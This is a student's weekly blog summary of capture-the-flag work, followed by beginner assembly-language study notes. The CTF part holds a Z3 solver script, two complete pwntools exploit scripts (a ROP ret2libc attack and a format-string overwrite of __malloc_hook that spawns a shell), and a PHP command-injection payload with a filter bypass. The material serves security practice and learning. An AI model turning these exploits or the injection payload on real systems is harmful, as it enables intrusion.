一周总结(2020.8.31-9.6)

wp

Re:xx_warmup_obf (强网杯)
工具:idapro,idle
在init函数里有大量赋值
全部是用来混淆 调试发现,类似于这种代码后面的跳转全部是固定的调试到检测flag的函数(402968)
去掉混淆得到方程组使用Z3脚本模块得flag
脚本如下:

from z3 import *
s = Solver()
NUM = 28
a = [0]*NUM
for i in range(NUM):
   a[i] = Int('a['+str(i)+']')
s.add(23925 * a[0] == 2440350)
s.add(281400 * a[1] - 7037 * a[0] == 29673426)
s.add(174826 * a[0] - 255300 * a[2] - 283573 * a[1] == -37557732)
s.add(259881 * a[2] + -98445 * a[1] - 276718 * a[0] + 4524 * a[3] == -13182867)
s.add(285576 * a[2] + -274569 * a[3] + 94721 * a[0] - 228216 * a[4] - 60353 * a[1] == -25506885)
s.add(260927 * a[3] + -5496 * a[1] + -294195 * a[4] + 264844 * a[2] + 125853 * a[5] - 153661 * a[0] == 13075233)
s.add(17630 * a[0] + -258397 * a[3] + -244952 * a[1] + -244086 * a[2] + -130259 * a[5] - 190371 * a[6] - 109961 * a[4] == -111027477)
s.add(117817 * a[5] + 268397 * a[7] + -198175 * a[1] + 18513 * a[2] + 218992 * a[6] + -6727 * a[3] + 228408 * a[0] + 224658 * a[4] == 78775012)
s.add(-288418 * a[3] + -218493 * a[7] + -236774 * a[0] + 77982 * a[2] + 190784 * a[4] + -84462 * a[1] + 92684 * a[8] + 52068 * a[5] - 243023 * a[6] == -52520267)
s.add(-196269 * a[8] + -64473 * a[7] + -142792 * a[5] + 171321 * a[4] + -39259 * a[9] + -269632 * a[2] + 229049 * a[6] + 96631 * a[3] - 280754 * a[1] - 168397 * a[0] == -70797046)
s.add(-235026 * a[4] + 162669 * a[8] + -256202 * a[1] + -32946 * a[9] + -25900 * a[2] + 195039 * a[10] + 182157 * a[3] + 292706 * a[0] + -93524 * a[5] + 121516 * a[6] + 165207 * a[7] == 28263339)
s.add(-131770 * a[6] + -92964 * a[9] + -111160 * a[8] + -258188 * a[7] + 133728 * a[1] + -272650 * a[5] + -4940 * a[10] + 272791 * a[3] + 80519 * a[2] + -165434 * a[11] + 50166 * a[0] + 148713 * a[4] == -22025185)
s.add(-262820 * a[4] + 9710 * a[10] + 71182 * a[12] + -184125 * a[1] + -100280 * a[6] + 62018 * a[11] + 141532 * a[9] + -138253 * a[8] + 20489 * a[0] + -214348 * a[2] + 162962 * a[3] - 93199 * a[7] + 147171 * a[5] == -31396844)
s.add(-55254 * a[8] + 220404 * a[12] + -86956 * a[10] + -200702 * a[5] + -51437 * a[1] + 25739 * a[6] + 122945 * a[3] + 116256 * a[7] + 22859 * a[4] + -61880 * a[9] + -119275 * a[2] + -224754 * a[13] - 75412 * a[0] + 59999 * a[11] == -37063008)
s.add(111310 * a[0] + 198502 * a[3] + -189890 * a[13] + 278745 * a[5] + 157462 * a[9] + 135809 * a[4] + -2621 * a[2] + 67553 * a[6] + 144834 * a[1] + -88326 * a[11] + -228149 * a[10] + 233663 * a[14] + -249960 * a[12] + 300012 * a[8] + 91783 * a[7] == 93457153)
s.add(15897 * a[0] + -11943 * a[13] + 194067 * a[3] + 125666 * a[2] + 104421 * a[12] + -181764 * a[5] + -233813 * a[8] + -235783 * a[4] + 230636 * a[11] + 148005 * a[6] + -48167 * a[14] + -163572 * a[9] + 54553 * a[10] + -129997 * a[1] + 114175 * a[7] - 251681 * a[15] == -36640750)

s.add(-90549 * a[3] + -228520 * a[14] + 34835 * a[10] + -203538 * a[15] + 272318 * a[13] + -68478 * a[8] + 22454 * a[9] + 74128 * a[12] + 70051 * a[6] + -289940 * a[7] + -52501 * a[5] + -1254 * a[4] + 154844 * a[11] + 254969 * a[2] + -39495 * a[1] + 277429 * a[16] - 132752 * a[0] == -6628237)
s.add(128092 * a[11] + -5873 * a[17] + -144172 * a[3] + -148216 * a[13] + 189050 * a[2] + 66107 * a[5] + 237987 * a[0] + -53271 * a[9] + -86968 * a[12] + -94616 * a[10] + -247882 * a[8] + -5107 * a[1] + 55085 * a[15] + 10792 * a[14] + -112241 * a[4] + -36680 * a[16] - 210718 * a[7] - 249539 * a[6] == -53084017)
s.add(-186088 * a[2] + 19517 * a[13] + -65515 * a[5] + 195447 * a[1] + 145470 * a[14] + 58825 * a[16] + 272227 * a[15] + -155443 * a[8] + 100397 * a[3] + -238861 * a[18] + 84628 * a[7] + 1337 * a[17] + 156976 * a[12] + -74209 * a[4] + 175077 * a[11] + 134548 * a[0] + -280672 * a[6] + 12264 * a[10] + 56937 * a[9] == 60764977)
s.add(-58873 * a[7] + -283834 * a[9] + 159144 * a[13] + -199631 * a[0] + 54404 * a[16] + -190345 * a[8] + 176103 * a[3] + 137206 * a[17] + -170051 * a[6] + 281718 * a[11] + 137214 * a[14] + -104395 * a[19] + -122090 * a[4] + 162065 * a[15] + -36580 * a[18] + 245858 * a[12] + -18520 * a[10] + -138274 * a[1] + 139185 * a[2] - 197535 * a[5] == 4912728)
s.add(293345 * a[9] + 63329 * a[13] + 74470 * a[8] + -72984 * a[11] + -162393 * a[20] + 150036 * a[15] + 127913 * a[19] + 181147 * a[16] + 27751 * a[6] + -239133 * a[1] + -28337 * a[17] + 108149 * a[0] + 148338 * a[2] + 38137 * a[18] + -199427 * a[14] + -97284 * a[4] + -39775 * a[3] + -109205 * a[10] + 270604 * a[5] - 193384 * a[12] + 168963 * a[7] == 45577809)
s.add(45637 * a[6] + 111858 * a[17] + 244009 * a[19] + -188979 * a[8] + -220539 * a[16] + 246135 * a[2] + -174651 * a[14] + 179514 * a[4] + 153071 * a[15] + -207716 * a[21] + 64641 * a[7] + 293781 * a[12] + 263208 * a[10] + 44675 * a[1] + 131692 * a[3] + 109605 * a[11] + 293201 * a[5] + -98937 * a[9] + 60492 * a[20] + -273571 * a[13] - 38942 * a[0] - 285946 * a[18] == 77539017)
s.add(-160726 * a[9] + 234971 * a[18] + 32897 * a[4] + -206184 * a[11] + -86224 * a[20] + 92896 * a[22] + 295735 * a[15] + -58530 * a[0] + -197632 * a[13] + -21957 * a[17] + -43684 * a[6] + -141434 * a[10] + -194890 * a[1] + -148390 * a[21] + 105293 * a[14] + 76213 * a[3] + 9791 * a[12] + -258754 * a[8] + 59119 * a[16] + 255675 * a[2] + -130852 * a[7] - 71444 * a[5] + 127285 * a[19] == -38197685)
s.add(205675 * a[20] + 197685 * a[1] + 144870 * a[4] + 120347 * a[10] + 202621 * a[14] + -236806 * a[17] + 268813 * a[3] + 191822 * a[23] + -40848 * a[6] + 103466 * a[7] + -211930 * a[5] + -180522 * a[19] + -188959 * a[15] + -238839 * a[21] + 281705 * a[11] + 175825 * a[16] + -44618 * a[12] + 196370 * a[0] + 89330 * a[22] + -133696 * a[8] + -60213 * a[2] + 191404 * a[18] - 291063 * a[9] + 13902 * a[13] == 67763764)
s.add(69341 * a[15] + -19740 * a[21] + 62004 * a[10] + 29334 * a[8] + -78459 * a[1] + -261617 * a[3] + 115716 * a[22] + 7838 * a[16] + -173902 * a[14] + 115189 * a[9] + 234832 * a[7] + -54321 * a[5] + -268221 * a[20] + -210563 * a[18] + -161113 * a[13] + -199130 * a[23] + -94067 * a[24] + 9601 * a[11] + -8509 * a[12] + 14439 * a[2] + -243227 * a[19] + 37665 * a[17] + 91076 * a[6] - 85246 * a[0] + 39558 * a[4] == -98330271)
s.add(38468 * a[19] + -75568 * a[2] + 169299 * a[22] + -252915 * a[3] + 32044 * a[24] + -260264 * a[8] + -111200 * a[1] + -78437 * a[20] + -212633 * a[16] + 180400 * a[5] + -81477 * a[12] + 232645 * a[0] + -65268 * a[4] + 263000 * a[6] + 247654 * a[25] + -242059 * a[17] + -35931 * a[9] + -271816 * a[21] + 10191 * a[13] + 41768 * a[23] + 92844 * a[7] + -73366 * a[14] + -124307 * a[10] + 197710 * a[18] + 226192 * a[15] + 3788 * a[11] ==  -13464859)
s.add(-23897 * a[9] + -188087 * a[24] + -254282 * a[15] + -102361 * a[23] + -15606 * a[14] + -74795 * a[21] + 116581 * a[12] + 77693 * a[5] + -6866 * a[25] + 215574 * a[22] + 231326 * a[6] + 77915 * a[2] + 186585 * a[3] + 219151 * a[4] + 271210 * a[13] + -78913 * a[20] + 83918 * a[8] + -153409 * a[18] + -84952 * a[7] + -121854 * a[0] + -253617 * a[26] + -213665 * a[19] + -293146 * a[17] + -166693 * a[16] + -206964 * a[1] - 155664 * a[10] + 180598 * a[11] == -55504393)
s.add(264405 * a[11] + 135302 * a[12] + 278196 * a[9] + -132906 * a[23] + 138308 * a[7] + 40423 * a[21] + 157781 * a[0] + -38949 * a[27] + -143324 * a[14] + -120743 * a[10] + 77375 * a[5] + -164339 * a[3] + 167370 * a[25] + -225830 * a[4] + -136952 * a[2] + -14347 * a[8] + 6966 * a[26] + 88628 * a[18] + 138998 * a[22] + 147747 * a[19] + -106792 * a[6] + -113009 * a[20] + 98136 * a[15] + 231264 * a[24] + -109447 * a[17] + 258890 * a[1] + 167885 * a[16] + 246315 * a[13] == 133068723 )
print(s.check())
answer=s.model()
print(answer)

b = [125, 102, 98, 48, 95, 116, 110, 51, 109, 103, 101, 53, 95, 120, 120, 95, 107, 99, 117, 70, 95, 48, 103, 123, 103, 97, 108, 102][::-1]
print("".join([chr(i) for i in b]))

flag{g0_Fuck_xx_5egm3nt_0bf}

强网先锋-upload(强网杯)
下载文件为一个流量包,wireshark打开

右键-导出字节流,获得一张图片,进linux用steghide 提取文本,猜测密码123456获得flag

Babymessage(强网杯未复现)

Py脚本

from pwn import*

libc = ELF("./libc-2.27.so")
elf = ELF('./babymessage')
pop_rdi_ret = 0x0000000000400ac3
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
#r = process('./babymessage')
r = remote('123.56.170.202',21342)

def choice(n):
    r.sendlineafter("choice: \n",str(n))

def name(cont):
    choice(1)
    r.sendlineafter("name: ",cont)

def message(cont):
    choice(2)
    r.sendafter("message: ",cont)

def show():
    choice(3)


payload1 = "a" * 8 + p64(0x0000000006010D0 + 4)
name("cccc")
message(payload1)
payload2 = "a" * 0x8 + p64(0x0000000006010D0 + 4) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x0000000004009DD)
message(payload2)
r.recvuntil("done!\n\n")
puts_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00"))
print puts_addr

libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
binsh_addr = libcbase + libc.search("/bin/sh\x00").next()
onegad_get = libcbase + 0x4f365

payload2 = "a" * 0x8 + p64(0x0000000006010D0 + 4) + p64(onegad_get)
message(payload1)
message(payload2)
r.interactive()

siri(强网杯pwn未复现)
py脚本

from pwn import*
context.log_level = 'debug'
elf = ELF('./Siri')
libc = ELF('libc.so.6')
#sh = process('Siri')
sh = remote('123.56.170.202',12124)


def send(cont):
    sh.sendlineafter(">>> ", "Hey Siri!")
    sh.recvuntil(">>> What Can I do for you?\n")
    sh.sendlineafter(">>> ", "Remind me to " + cont)


send("%7$p.%83$p")
sh.recvuntil("to ")
stack_addr = int(sh.recvuntil(".", drop=True), 16) - 0x10

libcbase = int(sh.recvuntil("\n", drop=True), 16) - 0x21b97

onegadget = libcbase + 0x4f3c2
malloc_addr = libcbase + libc.symbols["__malloc_hook"]

payload = "a" * 5 + "%" + str((onegadget-0x20) & 0xffff) +"c%16$hn" + "a" * 3 + p64(malloc_addr)
send(payload)
payload = "a" * 5 + "%" + str(((onegadget>>16)-0x20) & 0xffff) +"c%16$hn" + "a" * 3 + p64(malloc_addr+2)
send(payload)
payload = "a" * 5 + "%" + str(((onegadget>>32)-0x20) & 0xffff) +"c%16$hn" + "a" * 3 + p64(malloc_addr+4)
send(payload)

payload = "%99999c"
send(payload)

sh.interactive()

主动(强网杯web)
给了源码
1
2
3
4
5
6
7
8
9
10
11 <?php
highlight_file(“index.php”);

if(preg_match("/flag/i", $_GET[“ip”]))
{
die(“no flag”);
}

system(“ping -c 3 $_GET[ip]”);

?>
get方式传一个参数ip,且过滤了flag,看见system,首先想到命令执行,先ls一下
1 ?ip=127.0.0.1|ls
发现flag.php
Cat
这里过滤flag,用斜线绕过即可
1 ?ip=127.0.0.1|cat%20fla\g.php

Check_1n(buuctf re)
先打开程序,发现有多个过程
shift+f12查看字符串,发现开机密码为HelloWorld
打开进入,进行打方块游戏,结束即可获得flag
或者在字符串中找到对应的base密码进行解码即可

BUUCTF-RE-8086
https://www.cnblogs.com/Nickyl07/p/12705366.html
汇编还没学到家,继续学。

汇编语言学习报告
汇编语言研究的重点在于如何利用硬件系统的编程结构和指令集有效灵活地控制系统进行工作。

第一章
1.1 机器语言

   机器语言是机器指令的集合。电子计算机的机器指令是一列二进制数字。计算机将其转换为一列高低电平,使计算机的电子器件收到驱动,进行运算。

   CPU(Central Processing Unit,中央处理单元),CPU是一种微处理器。每一种微处理器,由于硬件设计和内部结构的不同,就需要用不同的电平脉冲来控制。所以每一个微处理器都有一个自己的机器指令集,也就是机器语言。

1.2 汇编语言的产生

   汇编语言的主体是汇编指令。汇编语言与机器语言的差别在于指令的表示方式上。

   寄存器:简单的讲是CPU中可以存放数据的器件,一个CPU有多个寄存器。

   程序员用汇编语言写出源程序,再用汇编编译器将其编译为机器码,由计算机最终执行。

1.3 汇编语言的组成

   汇编语言发展至今,有三类指令组成。

① 汇编指令:机器码的助记符,有对应的机器码

② 伪指令:没有对应的机器码,由编译器执行,计算机并不执行

③ 其他符号:如+、-、*、/等,由编译器识别,没有对应的机器码

汇编语言的核心是汇编指令,它决定了汇编语言的特性。

1.4 存储器

   CPU是计算机的核心部件,他控制整个计算机的运作进行运算。要想让一个计算机进行工作,就必须向他提供指令和数据。指令和数据在存储器中存放,也就是我们平时说的内存。

   磁盘不同于内存,磁盘上的数据和程序如果读不到内存中,就无法被CPU使用。

1.5 指令和数据

   指令和数据只是在应用上的概念。在内存和磁盘上,指令和数据没有区别,都是二进制信息。

1.6 存储单元

   存储器被划分成若干个存储单元,每个存储单元从0开始顺序编号。

   微型机存储器的一个存储单元可以存储一个Byte,即8个bit(二进制位)。若一个计算机有128个存储单元,它可以存储128个Byte,也就是128Byte*8=1024bit。

1.7 CPU对存储器的读写

   存储器被划分成多个存储单元,存储单元从0开始顺序编号。这些编号可以看作存储单元在存储器中的地址。

   CPU想要在存储器中进行数据的读写,必须和外部器件进行下面三类的信息交互。

① 存储单元的地址(地址信息)

② 器件的选择,读或写的命令(控制信息)

③ 读或写的数据(数据信息)

电子计算机能处理、传输的信号都是电信号。在计算机中专门有连接CPU和其他芯片的导线,通常称为总线。从物理上讲,总线就是一根根导线的集合。

总线从逻辑上分为:地址总线、控制总线和数据总线。

1.8 地址总线

   CPU是通过地址总线来指定存储单元的。

   一个CPU有N根地址线,则可以说这个CPU的地址总线宽度为N。这样的CPU最多可以寻找2的N次方个内存单元。

1.9 数据总线

   CPU与内存或其他器件之间的数据传送是通过数据总线来进行的。数据总线的宽度决定了CPU和外界的数据传送速度。8根数据总线一次可传送一个8位二进制的数据(即一个字节)。

1.10 控制总线

   CPU对外部器件的控制是通过控制总线来进行的。在这里控制总线只是一个总称,控制总线是一些不同控制线的集合。有多少根控制线,就意味着CPU提供了对外部器件的多少种控制。所以控制总线的宽度决定了CPU对外部器件的控制能力。

1.11 内存地址空间

   举例来讲,一个CPU的地址总线宽度为10,那么可以寻址1024个内存单元,这1024个可寻到的内存单元就构成这个CPU的内存地址空间。

1.12 主板

   每一台PC机中,都有一个主板,主板上有核心器件和一些主要器件,这些器件通过总线(地址总线、数据总线、控制总线)相连。这些器件有CPU、存储器、外围芯片组、扩展插槽等。扩展插槽上一般插有RAM内存条和各类接口卡。

1.13 接口卡

   计算机系统中,所有可用程序控制其工作的设备,必须受到CPU的控制。CPU对外部设备不能直接控制,直接控制这些设备进行工作的是插在拓展插槽上的接口卡。CPU通过总线向接口卡发送命令,接口卡根据CPU的命令控制外设进行工作。

1.14 各类存储器芯片

   一台PC中,装有多个存储器芯片。从读写性质上看分为两类:随机存储器(RAM)和只读存储器(ROM)

   随机存储器可读可写,带电存储,关机后存储内容消失;只读存储器只读取不写入,关机内容不丢失。

   存储器从功能连接上可分为:

          随机存储器:用于存放CPU使用的绝大部分程序和数据,主随机存储器一般由装在主板上的RAM和插在拓展插槽上的RAM组成。

          装有BIOS(Basic Input/Output System,基本输入/出系统)的ROM:BIOS是由主板和各类接口卡厂商提供的软件系统。

          接口卡上的RAM:某些接口卡需要对大量的输入/出数据进行暂时存储,在其上装有RAM。比如说:显卡上的RAM(显存)。

1.15 内存地址空间

   上述的存储器都具有以下两特点:

① 都和CPU的总线相连

② CPU对他们进行读或写的时候都通过控制线发出内存读写命令

CPU在操控他们的时候,把他们当作内存来对待,把他们总的看作由若干存储单元组成的逻辑存储器,这个逻辑存储器就是我们所说的内存地址空间。(这周三篇学习报告合并成一次汇编语言读书笔记,近期准备蓝桥杯以及红亚平台红蓝攻防,进度较慢。)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值